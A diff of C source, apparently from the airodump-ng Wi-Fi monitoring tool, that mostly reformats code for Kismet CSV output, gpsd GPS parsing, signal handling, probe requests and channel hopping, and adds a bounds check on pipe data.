 
-        //Encoding
-        fprintf( G.f_kis, ";");
+		// Encoding
+		fprintf(G.f_kis, ";");
 
-        //FirstTime
-        fprintf( G.f_kis, "%s", ctime(&ap_cur->tinit) );
-        fseek(G.f_kis, -1, SEEK_CUR);
-        fprintf( G.f_kis, ";");
+		// FirstTime
+		fprintf(G.f_kis, "%s", ctime(&ap_cur->tinit));
+		fseek(G.f_kis, -1, SEEK_CUR);
+		fprintf(G.f_kis, ";");
 
-        //LastTime
-        fprintf( G.f_kis, "%s", ctime(&ap_cur->tlast) );
-        fseek(G.f_kis, -1, SEEK_CUR);
-        fprintf( G.f_kis, ";");
+		// LastTime
+		fprintf(G.f_kis, "%s", ctime(&ap_cur->tlast));
+		fseek(G.f_kis, -1, SEEK_CUR);
+		fprintf(G.f_kis, ";");
 
-        //BestQuality
-        fprintf( G.f_kis, "%d;", ap_cur->avg_power );
+		// BestQuality
+		fprintf(G.f_kis, "%d;", ap_cur->avg_power);
 
-        //BestSignal
-        fprintf( G.f_kis, "0;" );
+		// BestSignal
+		fprintf(G.f_kis, "0;");
 
-        //BestNoise
-        fprintf( G.f_kis, "0;" );
+		// BestNoise
+		fprintf(G.f_kis, "0;");
 
-        //GPSMinLat
-        fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[0]);
+		// GPSMinLat
+		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_min[0]);
 
-        //GPSMinLon
-        fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[1]);
+		// GPSMinLon
+		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_min[1]);
 
-        //GPSMinAlt
-        fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[2]);
+		// GPSMinAlt
+		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_min[2]);
 
-        //GPSMinSpd
-        fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[3]);
+		// GPSMinSpd
+		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_min[3]);
 
-        //GPSMaxLat
-        fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[0]);
+		// GPSMaxLat
+		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_max[0]);
 
-        //GPSMaxLon
-        fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[1]);
+		// GPSMaxLon
+		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_max[1]);
 
-        //GPSMaxAlt
-        fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[2]);
+		// GPSMaxAlt
+		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_max[2]);
 
-        //GPSMaxSpd
-        fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[3]);
+		// GPSMaxSpd
+		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_max[3]);
 
-        //GPSBestLat
-        fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[0]);
+		// GPSBestLat
+		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_best[0]);
 
-        //GPSBestLon
-        fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[1]);
+		// GPSBestLon
+		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_best[1]);
 
-        //GPSBestAlt
-        fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[2]);
+		// GPSBestAlt
+		fprintf(G.f_kis, "%.6f;", ap_cur->gps_loc_best[2]);
 
-        //DataSize
-        fprintf( G.f_kis, "0;" );
+		// DataSize
+		fprintf(G.f_kis, "0;");
 
-        //IPType
-        fprintf( G.f_kis, "0;" );
+		// IPType
+		fprintf(G.f_kis, "0;");
 
-        //IP
-        fprintf( G.f_kis, "%d.%d.%d.%d;",
-                 ap_cur->lanip[0], ap_cur->lanip[1],
-                 ap_cur->lanip[2], ap_cur->lanip[3] );
+		// IP
+		fprintf(G.f_kis,
+				"%d.%d.%d.%d;",
+				ap_cur->lanip[0],
+				ap_cur->lanip[1],
+				ap_cur->lanip[2],
+				ap_cur->lanip[3]);
 
-        fprintf( G.f_kis, "\r\n");
+		fprintf(G.f_kis, "\r\n");
 
-        ap_cur = ap_cur->next;
-        k++;
-    }
+		ap_cur = ap_cur->next;
+		k++;
+	}
 
-    fflush( G.f_kis );
-    return 0;
+	fflush(G.f_kis);
+	return 0;
 }
 
 /* See if a string contains a character in the first "n" bytes.
@@ -4807,14 +5698,14 @@
  * Breaks the str* naming convention to avoid a name collision if we're
  * compiling on a system that has strnchr()
  */
-static char *strchr_n(char *str, int c, size_t n)
+static char * strchr_n(char * str, int c, size_t n)
 {
 	size_t count = 0;
 	if (str == NULL || n == 0)
 	{
 		return NULL;
 	}
-	while(*str != c && *str != '\0' && count < n)
+	while (*str != c && *str != '\0' && count < n)
 	{
 		str++;
 		count++;
@@ -4832,27 +5723,27 @@
  * character.  If the return value is <= 0, the contents of the buffer
  * are undefined.
  */
-static int read_line(int sock, char *buffer, int pos, int size)
+static int read_line(int sock, char * buffer, int pos, int size)
 {
 	int status = 1;
 	if (pos < 0 || size < 1 || pos >= size || buffer == NULL || sock < 0)
 	{
 		return -1;
 	}
-	while(strchr_n(buffer, 0x0A, pos) == NULL && status > 0  && pos < size )
+	while (strchr_n(buffer, 0x0A, pos) == NULL && status > 0 && pos < size)
 	{
-		status = recv(sock, buffer+pos, size-pos, 0);
-		if(status > 0)
+		status = recv(sock, buffer + pos, size - pos, 0);
+		if (status > 0)
 		{
 			pos += status;
 		}
 	}
 
-	if(status <= 0)
+	if (status <= 0)
 	{
 		return status;
 	}
-	else if(pos == size && strchr_n(buffer, 0x0A, pos) == NULL)
+	else if (pos == size && strchr_n(buffer, 0x0A, pos) == NULL)
 	{
 		return -1;
 	}
@@ -4866,10 +5757,10 @@
  * Returns the number of characters left in the buffer, or -1 if the
  * buffer did not contain a newline.
  */
-static int get_line_from_buffer(char *buffer, int size, char *line)
+static int get_line_from_buffer(char * buffer, int size, char * line)
 {
-	char *cursor = strchr_n(buffer, 0x0A, size);
-	if(NULL != cursor)
+	char * cursor = strchr_n(buffer, 0x0A, size);
+	if (NULL != cursor)
 	{
 		*cursor = '\0';
 		cursor++;
@@ -4888,51 +5779,54 @@
  * The string in "value" is null-terminated if the name was found.  If
  * the name was not found, the contents of "value" are undefined.
  */
-static int json_get_value_for_name( const char *buffer, const char *name, char *value )
+static int
+json_get_value_for_name(const char * buffer, const char * name, char * value)
 {
 	char * to_find;
-	char *cursor;
+	char * cursor;
 	size_t to_find_len;
-	char *vcursor = value;
+	char * vcursor = value;
 	int ret = 0;
 
-	if (buffer == NULL || strlen(buffer) == 0 || name == NULL || strlen(name) == 0 || value == NULL)
+	if (buffer == NULL || strlen(buffer) == 0 || name == NULL
+		|| strlen(name) == 0
+		|| value == NULL)
 	{
 		return 0;
 	}
 
 	to_find_len = strlen(name) + 3;
-	to_find = (char*) malloc(to_find_len);
+	to_find = (char *) malloc(to_find_len);
 	snprintf(to_find, to_find_len, "\"%s\"", name);
 	cursor = strstr(buffer, to_find);
 	free(to_find);
-	if(cursor != NULL)
+	if (cursor != NULL)
 	{
-		cursor += to_find_len -1;
-		while(*cursor != ':' && *cursor != '\0')
+		cursor += to_find_len - 1;
+		while (*cursor != ':' && *cursor != '\0')
 		{
 			cursor++;
 		}
-		if(*cursor != '\0')
+		if (*cursor != '\0')
 		{
 			cursor++;
-			while(isspace((int)(*cursor)) && *cursor != '\0')
+			while (isspace((int) (*cursor)) && *cursor != '\0')
 			{
 				cursor++;
 			}
 		}
-		if('\0' == *cursor)
+		if ('\0' == *cursor)
 		{
 			return 0;
 		}
 
-		if('"' == *cursor)
+		if ('"' == *cursor)
 		{
 			/* Quoted string */
 			cursor++;
-			while(*cursor != '"' && *cursor != '\0')
+			while (*cursor != '"' && *cursor != '\0')
 			{
-				if('\\' == *cursor && '"' == *(cursor+1))
+				if ('\\' == *cursor && '"' == *(cursor + 1))
 				{
 					/* Escaped quote */
 					*vcursor = '"';
@@ -4948,19 +5842,19 @@
 			*vcursor = '\0';
 			ret = 1;
 		}
-		else if(strncmp(cursor, "true", 4) == 0)
+		else if (strncmp(cursor, "true", 4) == 0)
 		{
 			/* Boolean */
 			strcpy(value, "true");
 			ret = 1;
 		}
-		else if(strncmp(cursor, "false", 5) == 0)
+		else if (strncmp(cursor, "false", 5) == 0)
 		{
 			/* Boolean */
 			strcpy(value, "false");
 			ret = 1;
 		}
-		else if('{' == *cursor || '[' == *cursor)
+		else if ('{' == *cursor || '[' == *cursor)
 		{
 			/* Object or array.  Too hard to handle and not needed for
 			 * getting coords from GPSD, so pretend we didn't see anything.
@@ -4970,10 +5864,12 @@
 		else
 		{
 			/* Number, supposedly.  Copy as-is. */
-			while(*cursor != ',' && *cursor != '}' && !isspace((int)(*cursor)))
+			while (*cursor != ',' && *cursor != '}'
+				   && !isspace((int) (*cursor)))
 			{
 				*vcursor = *cursor;
-				cursor++; vcursor++;
+				cursor++;
+				vcursor++;
 			}
 			*vcursor = '\0';
 			ret = 1;
@@ -4983,63 +5879,70 @@
 	return ret;
 }
 
-void gps_tracker(pid_t parent)
+static void gps_tracker(pid_t parent)
 {
 	ssize_t unused;
-    int gpsd_sock;
-    char line[1537], buffer[1537], data[1537];
-    char *temp;
-    struct sockaddr_in gpsd_addr;
-    int ret, is_json, pos;
-    int mode;
-    fd_set read_fd;
-    struct timeval timeout;
-    memset(line, 0, 1537);
-    memset(buffer, 0, 1537);
-    memset(data, 0, 1537);
-
-    /* attempt to connect to localhost, port 2947 */
-
-    pos = 0;
-    gpsd_sock = socket( AF_INET, SOCK_STREAM, 0 );
-
-    if( gpsd_sock < 0 ) {
-        return;
-    }
-
-    gpsd_addr.sin_family      = AF_INET;
-    gpsd_addr.sin_port        = htons( 2947 );
-    gpsd_addr.sin_addr.s_addr = inet_addr( "127.0.0.1" );
-
-    if( connect( gpsd_sock, (struct sockaddr *) &gpsd_addr,
-                 sizeof( gpsd_addr ) ) < 0 ) {
-        close(gpsd_sock);
-        return;
-    }
-
-    // Check if it's GPSd < 2.92 or the new one
-    // 2.92+ immediately sends version information
-    // < 2.92 requires to send PVTAD command
-    FD_ZERO(&read_fd);
-    FD_SET(gpsd_sock, &read_fd);
-    timeout.tv_sec = 1;
-    timeout.tv_usec = 0;
-    is_json = select(gpsd_sock + 1, &read_fd, NULL, NULL, &timeout);
-
-    if (is_json > 0) {
-		/* Probably JSON.  Read the first line and verify it's a version of the protocol we speak. */
-
-    	if((pos = read_line(gpsd_sock, buffer, 0, sizeof(buffer))) <= 0)
-    		return;
+	int gpsd_sock;
+	char line[1537], buffer[1537], data[1537];
+	char * temp;
+	struct sockaddr_in gpsd_addr;
+	int ret, is_json, pos;
+	int mode;
+	fd_set read_fd;
+	struct timeval timeout;
+	memset(line, 0, 1537);
+	memset(buffer, 0, 1537);
+	memset(data, 0, 1537);
+
+	/* attempt to connect to localhost, port 2947 */
+
+	pos = 0;
+	gpsd_sock = socket(AF_INET, SOCK_STREAM, 0);
+
+	if (gpsd_sock < 0)
+	{
+		return;
+	}
 
-    	pos = get_line_from_buffer(buffer, pos, line);
+	memset(&gpsd_addr, 0, sizeof(struct sockaddr_in));
+	gpsd_addr.sin_family = AF_INET;
+	gpsd_addr.sin_port = htons(2947);
+	gpsd_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
 
-    	is_json = (json_get_value_for_name(line, "class", data) &&
-    			   strncmp(data, "VERSION", 7) == 0);
+	if (connect(gpsd_sock, (struct sockaddr *) &gpsd_addr, sizeof(gpsd_addr))
+		< 0)
+	{
+		close(gpsd_sock);
+		return;
+	}
+
+	// Check if it's GPSd < 2.92 or the new one
+	// 2.92+ immediately sends version information
+	// < 2.92 requires to send PVTAD command
+	FD_ZERO(&read_fd);
+	FD_SET(gpsd_sock, &read_fd);
+	timeout.tv_sec = 1;
+	timeout.tv_usec = 0;
+	is_json = select(gpsd_sock + 1, &read_fd, NULL, NULL, &timeout);
+
+	if (is_json > 0)
+	{
+		/* Probably JSON.  Read the first line and verify it's a version of the
+		 * protocol we speak. */
+
+		if ((pos = read_line(gpsd_sock, buffer, 0, sizeof(buffer))) <= 0)
+			return;
+
+		pos = get_line_from_buffer(buffer, pos, line);
 
-    	if (is_json) {
+		is_json = (json_get_value_for_name(line, "class", data)
+				   && strncmp(data, "VERSION", 7) == 0);
+
+		if (is_json)
+		{
 			/* Verify it's a version of the protocol we speak */
-			if(json_get_value_for_name(line, "proto_major", data) && data[0] != '3')
+			if (json_get_value_for_name(line, "proto_major", data)
+				&& data[0] != '3')
 			{
 				/* It's an unknown version of the protocol.  Bail out. */
 				return;
@@ -5048,63 +5951,64 @@
 			// Send ?WATCH={"json":true};
 			memset(line, 0, sizeof(line));
 			strcpy(line, "?WATCH={\"json\":true};\n");
-			if(send(gpsd_sock, line, 22, 0) != 22)
+			if (send(gpsd_sock, line, 22, 0) != 22)
 			{
 				return;
 			}
 			// Device check removed -- if there isn't a device, just
 			// read and discard lines until the user plugs one in, at
 			// which point GPSD will start emitting coordinates.
-    	}
-    }
-    else if(is_json < 0)
-    {
+		}
+	}
+	else if (is_json < 0)
+	{
 		/* An error occurred while we were waiting for data */
 		return;
 	}
 	/* Else select() returned zero (timeout expired) and we assume we're
 	 * connected to an old-style gpsd. */
 
-    /* loop reading the GPS coordinates */
-    while( G.do_exit == 0 )
-    {
-        usleep( 500000 );
-        memset( G.gps_loc, 0, sizeof( float ) * 5 );
-
-        /* read position, speed, heading, altitude */
-        if (is_json) {
-        	// Format definition: http://catb.org/gpsd/gpsd_json.html
+	/* loop reading the GPS coordinates */
+	while (G.do_exit == 0)
+	{
+		usleep(500000);
+		memset(G.gps_loc, 0, sizeof(float) * 5);
 
-		if( (pos = read_line(gpsd_sock, buffer, pos, sizeof(buffer))) <= 0 )
+		/* read position, speed, heading, altitude */
+		if (is_json)
 		{
-			return;
-		}
-		pos = get_line_from_buffer(buffer, pos, line);
+			// Format definition: http://catb.org/gpsd/gpsd_json.html
 
-		// See if we got a TPV report
-		if(!json_get_value_for_name(line, "class", data) ||
-			strncmp(data, "TPV", 3) != 0)
-		{
-			/* Not a TPV report.  Get another line. */
+			if ((pos = read_line(gpsd_sock, buffer, pos, sizeof(buffer))) <= 0)
+			{
+				return;
+			}
+			pos = get_line_from_buffer(buffer, pos, line);
 
-        		continue;
-        	}
+			// See if we got a TPV report
+			if (!json_get_value_for_name(line, "class", data)
+				|| strncmp(data, "TPV", 3) != 0)
+			{
+				/* Not a TPV report.  Get another line. */
 
-		/* See what sort of GPS fix we got.  Possibilities are:
+				continue;
+			}
+
+			/* See what sort of GPS fix we got.  Possibilities are:
 		* 0: No data
 		* 1: No fix
 		* 2: Lat/Lon, but no alt
 		* 3: Lat/Lon/Alt
 		* Either 2 or 3 may also have speed and heading data.
 		*/
-		if(!json_get_value_for_name(line, "mode", data) ||
-			(mode = atoi(data)) < 2)
-		{
-			/* No GPS fix, so there are no coordinates to extract. */
-			continue;
-		}
+			if (!json_get_value_for_name(line, "mode", data)
+				|| (mode = atoi(data)) < 2)
+			{
+				/* No GPS fix, so there are no coordinates to extract. */
+				continue;
+			}
 
-		/* Extract the available data from the TPV report.  If we're
+			/* Extract the available data from the TPV report.  If we're
 		* in mode 2, latitude and longitude are mandatory, altitude
 		* is set to 0, and speed and heading are optional.
 		* In mode 3, latitude, longitude, and altitude are mandatory,
@@ -5114,1611 +6018,1750 @@
 		* value, we default it to 0.
 		*/
 
-        	// Latitude
-        	if(!json_get_value_for_name(line, "lat", data))
-			continue;
-		if(1 != sscanf(data, "%f", &G.gps_loc[0]))
-			continue;
+			// Latitude
+			if (!json_get_value_for_name(line, "lat", data)) continue;
+			if (1 != sscanf(data, "%f", &G.gps_loc[0])) continue;
+
+			// Longitude
+			if (!json_get_value_for_name(line, "lon", data)) continue;
+			if (1 != sscanf(data, "%f", &G.gps_loc[1])) continue;
 
-		// Longitude
-		if(!json_get_value_for_name(line, "lon", data))
-			continue;
-		if(1 != sscanf(data, "%f", &G.gps_loc[1]))
-			continue;
-
-		// Altitude
-		if(3 == mode)
-		{
-			if(!json_get_value_for_name(line, "alt", data))
-				continue;
-			if(1 != sscanf(data, "%f", &G.gps_loc[4]))
-				continue;
-		}
-		else
-		{
-			G.gps_loc[4] = 0;
-		}
+			// Altitude
+			if (3 == mode)
+			{
+				if (!json_get_value_for_name(line, "alt", data)) continue;
+				if (1 != sscanf(data, "%f", &G.gps_loc[4])) continue;
+			}
+			else
+			{
+				G.gps_loc[4] = 0;
+			}
 
-		// Speed
-		if(!json_get_value_for_name(line, "speed", data))
-		{
-			G.gps_loc[2] = 0;
-		}
-		else
-		{
-			if(1 != sscanf(data, "%f", &G.gps_loc[2]))
+			// Speed
+			if (!json_get_value_for_name(line, "speed", data))
+			{
 				G.gps_loc[2] = 0;
-		}
+			}
+			else
+			{
+				if (1 != sscanf(data, "%f", &G.gps_loc[2])) G.gps_loc[2] = 0;
+			}
 
-		// Heading
-		if(!json_get_value_for_name(line, "track", data))
-		{
-			G.gps_loc[3] = 0;
+			// Heading
+			if (!json_get_value_for_name(line, "track", data))
+			{
+				G.gps_loc[3] = 0;
+			}
+			else
+			{
+				if (1 != sscanf(data, "%f", &G.gps_loc[3])) G.gps_loc[3] = 0;
+			}
 		}
 		else
 		{
-			if(1 != sscanf(data, "%f", &G.gps_loc[3]))
-				G.gps_loc[3] = 0;
-		}
-        } else {
-        	memset( line, 0, sizeof( line ) );
+			memset(line, 0, sizeof(line));
 
-			snprintf( line,  sizeof( line ) - 1, "PVTAD\r\n" );
-			if( send( gpsd_sock, line, 7, 0 ) != 7 )
-				return;
+			snprintf(line, sizeof(line) - 1, "PVTAD\r\n");
+			if (send(gpsd_sock, line, 7, 0) != 7) return;
 
-			memset( line, 0, sizeof( line ) );
-			if( recv( gpsd_sock, line, sizeof( line ) - 1, 0 ) <= 0 )
-				return;
+			memset(line, 0, sizeof(line));
+			if (recv(gpsd_sock, line, sizeof(line) - 1, 0) <= 0) return;
 
-			if( memcmp( line, "GPSD,P=", 7 ) != 0 )
-				continue;
+			if (memcmp(line, "GPSD,P=", 7) != 0) continue;
 
 			/* make sure the coordinates are present */
 
-			if( line[7] == '?' )
-				continue;
+			if (line[7] == '?') continue;
 
-			ret = sscanf( line + 7, "%f %f", &G.gps_loc[0], &G.gps_loc[1] );
+			ret = sscanf(line + 7, "%f %f", &G.gps_loc[0], &G.gps_loc[1]);
 
-			if( ( temp = strstr( line, "V=" ) ) == NULL ) continue;
-			ret = sscanf( temp + 2, "%f", &G.gps_loc[2] ); /* speed */
+			if ((temp = strstr(line, "V=")) == NULL) continue;
+			ret = sscanf(temp + 2, "%f", &G.gps_loc[2]); /* speed */
 
-			if( ( temp = strstr( line, "T=" ) ) == NULL ) continue;
-			ret = sscanf( temp + 2, "%f", &G.gps_loc[3] ); /* heading */
+			if ((temp = strstr(line, "T=")) == NULL) continue;
+			ret = sscanf(temp + 2, "%f", &G.gps_loc[3]); /* heading */
 
-			if( ( temp = strstr( line, "A=" ) ) == NULL ) continue;
-			ret = sscanf( temp + 2, "%f", &G.gps_loc[4] ); /* altitude */
-        }
+			if ((temp = strstr(line, "A=")) == NULL) continue;
+			ret = sscanf(temp + 2, "%f", &G.gps_loc[4]); /* altitude */
+		}
 
-        if (G.record_data)
-			fputs( line, G.f_gps );
+		if (G.record_data) fputs(line, G.f_gps);
 
 		G.save_gps = 1;
 
-        if (G.do_exit == 0)
+		if (G.do_exit == 0)
 		{
-			unused = write( G.gc_pipe[1], G.gps_loc, sizeof( float ) * 5 );
-			kill( parent, SIGUSR2 );
+			unused = write(G.gc_pipe[1], G.gps_loc, sizeof(float) * 5);
+			kill(parent, SIGUSR2);
 		}
-    }
+	}
 }
 
-void sighandler( int signum)
+static void sighandler(int signum)
 {
 	ssize_t unused;
 	int card = 0;
-	signal( signum, sighandler );
+	signal(signum, sighandler);
 
-	if( signum == SIGUSR1 )
+	if (signum == SIGUSR1)
 	{
-		unused = read( G.cd_pipe[0], &card, sizeof(int) );
+		unused = read(G.cd_pipe[0], &card, sizeof(int));
+		if (unused < 0)
+		{
+			// error occurred
+			perror("read");
+			return;
+		}
+		else if (unused == 0)
+		{
+			// EOF
+			perror("EOF encountered read(G.cd_pipe[0])");
+			return;
+		}
 
-		if(G.freqoption)
-			unused = read( G.ch_pipe[0], &(G.frequency[card]), sizeof( int ) );
+		if (card < 0 || (size_t) card >= ArrayCount(G.frequency))
+		{
+			// invalid received data
+			fprintf(stderr,
+					"Invalid data received for read(G.cd_pipe[0]), got %d\n",
+					card);
+			return;
+		}
+
+		if (G.freqoption)
+			unused = read(G.ch_pipe[0], &(G.frequency[card]), sizeof(int));
 		else
-			unused = read( G.ch_pipe[0], &(G.channel[card]), sizeof( int ) );
+			unused = read(G.ch_pipe[0], &(G.channel[card]), sizeof(int));
 	}
 
-	if( signum == SIGUSR2 )
-		unused = read( G.gc_pipe[0], &G.gps_loc, sizeof( float ) * 5 );
+	if (signum == SIGUSR2)
+		unused = read(G.gc_pipe[0], &G.gps_loc, sizeof(float) * 5);
 
-	if( signum == SIGINT || signum == SIGTERM )
+	if (signum == SIGINT || signum == SIGTERM)
 	{
 		reset_term();
-		alarm( 1 );
+		alarm(1);
 		G.do_exit = 1;
-		signal( SIGALRM, sighandler );
+		signal(SIGALRM, sighandler);
 #if defined(__sun__)
-		fprintf(stdout, "\n" );
+		fprintf(stdout, "\n");
 #else
-		dprintf( STDOUT_FILENO, "\n" );
+		dprintf(STDOUT_FILENO, "\n");
 #endif
 	}
 
-	if( signum == SIGSEGV )
+	if (signum == SIGSEGV)
 	{
-		fprintf( stderr, "Caught signal 11 (SIGSEGV). Please"
-				" contact the author!\33[?25h\n\n" );
-		fflush( stdout );
-		exit( 1 );
+		fprintf(stderr,
+				"Caught signal 11 (SIGSEGV). Please"
+				" contact the author!\n\n");
+		show_cursor();
+		fflush(stdout);
+		exit(1);
 	}
 
-	if( signum == SIGALRM )
+	if (signum == SIGALRM)
 	{
 #if defined(__sun__)
 		fprintf(stdout,
 #else
-		dprintf( STDERR_FILENO,
+		dprintf(STDERR_FILENO,
 #endif
-			 "Caught signal 14 (SIGALRM). Please"
-                         " contact the author!\33[?25h\n\n" );
-		_exit( 1 );
+				"Caught signal 14 (SIGALRM). Please"
+				" contact the author!\n\n");
+		show_cursor();
+		_exit(1);
 	}
 
-	if( signum == SIGCHLD )
-		wait( NULL );
+	if (signum == SIGCHLD) wait(NULL);
 
-	if( signum == SIGWINCH )
+	if (signum == SIGWINCH)
 	{
-		fprintf( stderr, "\33[2J" );
-		fflush( stdout );
+		erase_display(0);
+		fflush(stdout);
 	}
 }
 
-int send_probe_request(struct wif *wi)
+static int send_probe_request(struct wif * wi)
 {
-    int len;
-    unsigned char p[4096], r_smac[6];
+	int len;
+	unsigned char p[4096], r_smac[6];
 
-    memcpy(p, PROBE_REQ, 24);
+	memcpy(p, PROBE_REQ, 24);
 
-    len = 24;
+	len = 24;
 
-    p[24] = 0x00;      //ESSID Tag Number
-    p[25] = 0x00;      //ESSID Tag Length
+	p[24] = 0x00; // ESSID Tag Number
+	p[25] = 0x00; // ESSID Tag Length
 
-    len += 2;
+	len += 2;
 
-    memcpy(p+len, RATES, 16);
+	memcpy(p + len, RATES, 16);
 
-    len += 16;
+	len += 16;
 
-    r_smac[0] = 0x00;
-    r_smac[1] = rand() & 0xFF;
-    r_smac[2] = rand() & 0xFF;
-    r_smac[3] = rand() & 0xFF;
-    r_smac[4] = rand() & 0xFF;
-    r_smac[5] = rand() & 0xFF;
+	r_smac[0] = 0x00;
+	r_smac[1] = rand() & 0xFF;
+	r_smac[2] = rand() & 0xFF;
+	r_smac[3] = rand() & 0xFF;
+	r_smac[4] = rand() & 0xFF;
+	r_smac[5] = rand() & 0xFF;
 
-    memcpy(p+10, r_smac, 6);
+	memcpy(p + 10, r_smac, 6);
 
-    if (wi_write(wi, p, len, NULL) == -1) {
-        switch (errno) {
-        case EAGAIN:
-        case ENOBUFS:
-            usleep(10000);
-            return 0; /* XXX not sure I like this... -sorbo */
-        }
+	if (wi_write(wi, p, len, NULL) == -1)
+	{
+		switch (errno)
+		{
+			case EAGAIN:
+			case ENOBUFS:
+				usleep(10000);
+				return 0; /* XXX not sure I like this... -sorbo */
+		}
 
-        perror("wi_write()");
-        return -1;
-    }
+		perror("wi_write()");
+		return -1;
+	}
 
-    return 0;
+	return 0;
 }
 
-int send_probe_requests(struct wif *wi[], int cards)
+static int send_probe_requests(struct wif * wi[], int cards)
 {
-    int i=0;
-    for(i=0; i<cards; i++)
-    {
-        send_probe_request(wi[i]);
-    }
-    return 0;
+	int i = 0;
+	for (i = 0; i < cards; i++)
+	{
+		send_probe_request(wi[i]);
+	}
+	return 0;
 }
 
-int getchancount(int valid)
+static int getchancount(int valid)
 {
-    int i=0, chan_count=0;
+	int i = 0, chan_count = 0;
 
-    while(G.channels[i])
-    {
-        i++;
-        if(G.channels[i] != -1)
-            chan_count++;
-    }
+	while (G.channels[i])
+	{
+		i++;
+		if (G.channels[i] != -1) chan_count++;
+	}
 
-    if(valid) return chan_count;
-    return i;
+	if (valid) return chan_count;
+	return i;
 }
 
-int getfreqcount(int valid)
+static int getfreqcount(int valid)
 {
-    int i=0, freq_count=0;
+	int i = 0, freq_count = 0;
 
-    while(G.own_frequencies[i])
-    {
-        i++;
-        if(G.own_frequencies[i] != -1)
-            freq_count++;
-    }
+	while (G.own_frequencies[i])
+	{
+		i++;
+		if (G.own_frequencies[i] != -1) freq_count++;
+	}
 
-    if(valid) return freq_count;
-    return i;
+	if (valid) return freq_count;
+	return i;
 }
 
-void channel_hopper(struct wif *wi[], int if_num, int chan_count, pid_t parent)
+static void
+channel_hopper(struct wif * wi[], int if_num, int chan_count, pid_t parent)
 {
 	ssize_t unused;
-    int ch, ch_idx = 0, card=0, chi=0, cai=0, j=0, k=0, first=1, again=1;
-    int dropped=0;
+	int ch, ch_idx = 0, card = 0, chi = 0, cai = 0, j = 0, k = 0, first = 1,
+			again = 1;
+	int dropped = 0;
+
+	while (0 == kill(parent, 0))
+	{
+		for (j = 0; j < if_num; j++)
+		{
+			again = 1;
+
+			ch_idx = chi % chan_count;
 
-    while( 0 == kill(parent, 0) )
-    {
-        for( j = 0; j < if_num; j++ )
-        {
-            again = 1;
-
-            ch_idx = chi % chan_count;
-
-            card = cai % if_num;
-
-            ++chi;
-            ++cai;
-
-            if( G.chswitch == 2 && !first )
-            {
-                j = if_num - 1;
-                card = if_num - 1;
-
-                if( getchancount(1) > if_num )
-                {
-                    while( again )
-                    {
-                        again = 0;
-                        for( k = 0; k < ( if_num - 1 ); k++ )
-                        {
-                            if( G.channels[ch_idx] == G.channel[k] )
-                            {
-                                again = 1;
-                                ch_idx = chi % chan_count;
-                                chi++;
-                            }
-                        }
-                    }
-                }
-            }
-
-            if( G.channels[ch_idx] == -1 )
-            {
-                j--;
-                cai--;
-                dropped++;
-                if(dropped >= chan_count)
-                {
-                    ch = wi_get_channel(wi[card]);
-                    G.channel[card] = ch;
-                    unused = write( G.cd_pipe[1], &card, sizeof(int) );
-                    unused = write( G.ch_pipe[1], &ch, sizeof( int ) );
-                    kill( parent, SIGUSR1 );
-                    usleep(1000);
-                }
-                continue;
-            }
-
-            dropped = 0;
-
-            ch = G.channels[ch_idx];
-
-            if(wi_set_channel(wi[card], ch ) == 0 )
-            {
-                G.channel[card] = ch;
-                unused = write( G.cd_pipe[1], &card, sizeof(int) );
-                unused = write( G.ch_pipe[1], &ch, sizeof( int ) );
-                if(G.active_scan_sim > 0)
-                    send_probe_request(wi[card]);
-                kill( parent, SIGUSR1 );
-                usleep(1000);
-            }
-            else
-            {
-                G.channels[ch_idx] = -1;      /* remove invalid channel */
-                j--;
-                cai--;
-                continue;
-            }
-        }
-
-        if(G.chswitch == 0)
-        {
-            chi=chi-(if_num - 1);
-        }
-
-        if(first)
-        {
-            first = 0;
-        }
+			card = cai % if_num;
 
-        usleep( (G.hopfreq*1000) );
-    }
+			++chi;
+			++cai;
+
+			if (G.chswitch == 2 && !first)
+			{
+				j = if_num - 1;
+				card = if_num - 1;
+
+				if (getchancount(1) > if_num)
+				{
+					while (again)
+					{
+						again = 0;
+						for (k = 0; k < (if_num - 1); k++)
+						{
+							if (G.channels[ch_idx] == G.channel[k])
+							{
+								again = 1;
+								ch_idx = chi % chan_count;
+								chi++;
+							}
+						}
+					}
+				}
+			}
 
-    exit( 0 );
+			if (G.channels[ch_idx] == -1)
+			{
+				j--;
+				cai--;
+				dropped++;
+				if (dropped >= chan_count)
+				{
+					ch = wi_get_channel(wi[card]);
+					G.channel[card] = ch;
+					unused = write(G.cd_pipe[1], &card, sizeof(int));
+					unused = write(G.ch_pipe[1], &ch, sizeof(int));
+					kill(parent, SIGUSR1);
+					usleep(1000);
+				}
+				continue;
+			}
+
+			dropped = 0;
+
+			ch = G.channels[ch_idx];
+
+#ifdef CONFIG_LIBNL
+			if (wi_set_ht_channel(wi[card], ch, G.htval) == 0)
+#else
+			if (wi_set_channel(wi[card], ch) == 0)
+#endif
+			{
+				G.channel[card] = ch;
+				unused = write(G.cd_pipe[1], &card, sizeof(int));
+				unused = write(G.ch_pipe[1], &ch, sizeof(int));
+				if (G.active_scan_sim > 0) send_probe_request(wi[card]);
+				kill(parent, SIGUSR1);
+				usleep(1000);
+			}
+			else
+			{
+				G.channels[ch_idx] = -1; /* remove invalid channel */
+				j--;
+				cai--;
+				continue;
+			}
+		}
+
+		if (G.chswitch == 0)
+		{
+			chi = chi - (if_num - 1);
+		}
+
+		if (first)
+		{
+			first = 0;
+		}
+
+		usleep((G.hopfreq * 1000));
+	}
+
+	exit(0);
 }
 
